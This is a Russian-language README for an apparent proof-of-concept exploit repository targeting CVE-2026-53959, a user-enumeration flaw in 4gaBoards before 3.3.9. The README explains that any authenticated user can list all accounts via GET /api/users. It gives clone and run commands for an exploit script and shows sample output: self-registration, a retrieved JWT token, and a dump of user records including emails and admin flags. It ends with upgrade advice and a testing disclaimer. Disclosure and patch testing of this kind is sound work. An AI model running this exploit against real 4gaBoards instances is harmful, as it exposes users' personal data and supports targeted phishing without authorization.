
4gaBoards < 3.3.9 - Раскрытие информации о пользователях
Этот репозиторий содержит эксплойт Proof of Concept (PoC) для CVE-2026-53959
Этот проект предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения.
4gaBoards — это система досок для управления проектами в реальном времени. До версии 3.3.9 4gaBoards позволяет любому аутентифицированному пользователю перечислять информацию об учётных записях всех пользователей через GET /api/users и получать произвольные учётные записи через GET /api/users/:id. Действия users/index и users/show полагаются только на политику по умолчанию is-authenticated в server/config/policies.js, а server/api/controllers/users/index.js возвращает результат sails.helpers.users.getMany() без проверки авторизации запрашивающего пользователя и без санитизации ответа. Ответы раскрывают email, phone, organization, name, isAdmin, ssoGoogleEmail, ssoGithubEmail и другие поля email, связанные с SSO, включая данные администраторов. Это позволяет перечислять всех пользователей инстанса, приводит к потере конфиденциальности и создаёт возможности для целевой фишинговой разведки. Эта проблема исправлена в версии 3.3.9.
| Компонент | Версия |
|---|---|
| Уязвимая версия | <=3.3.8 |
| Исправленная версия | 3.3.9 |
git clone https://github.com/anirbala98/CVE-2026-53959.git
cd CVE-2026-53959/
pip install -r requirements.txt
python exploit.py <base_url>
python exploit.py http://localhost:3000
└─$ python exploit.py http://localhost:3000
[*] Creating a new user...
[+] Registration successful!
[+] Retrieved Access Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjRjOTE1NzNmLTY5YzktNGQ5OS04ZWUxLWQ1ODZjNzZkNzAyZiJ9.eyJpYXQiOjE3ODcxMjExNzUsInN1YiI6IjE4NDQ5MDI5OTc5OTQyNDMzNTAiLCJleHAiOjE4MTg2NTcxNzV9.OwNTyxE-JS0pztbX4sLz0uzu3GjeyETNFQVbGVxzXxA
[*] Dumping user information...
{"items":[{"id":"1844837973439284230","createdAt":"2026-08-19T04:23:44.000Z","updatedAt":null,"email":"[email protected]","isAdmin":true,"isVerified":false,"name":"Demo Demo","username":"demo","phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":"2026-08-19T06:29:23.463Z","lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844837973439284230","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null},{"id":"1844902997994243350","createdAt":"2026-08-19T06:32:55.000Z","updatedAt":null,"email":"[email protected]","isAdmin":false,"isVerified":false,"name":"test","username":null,"phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":null,"lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844902997994243350","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null}]}
Обновите 4gaBoards до версии 3.3.9 или выше.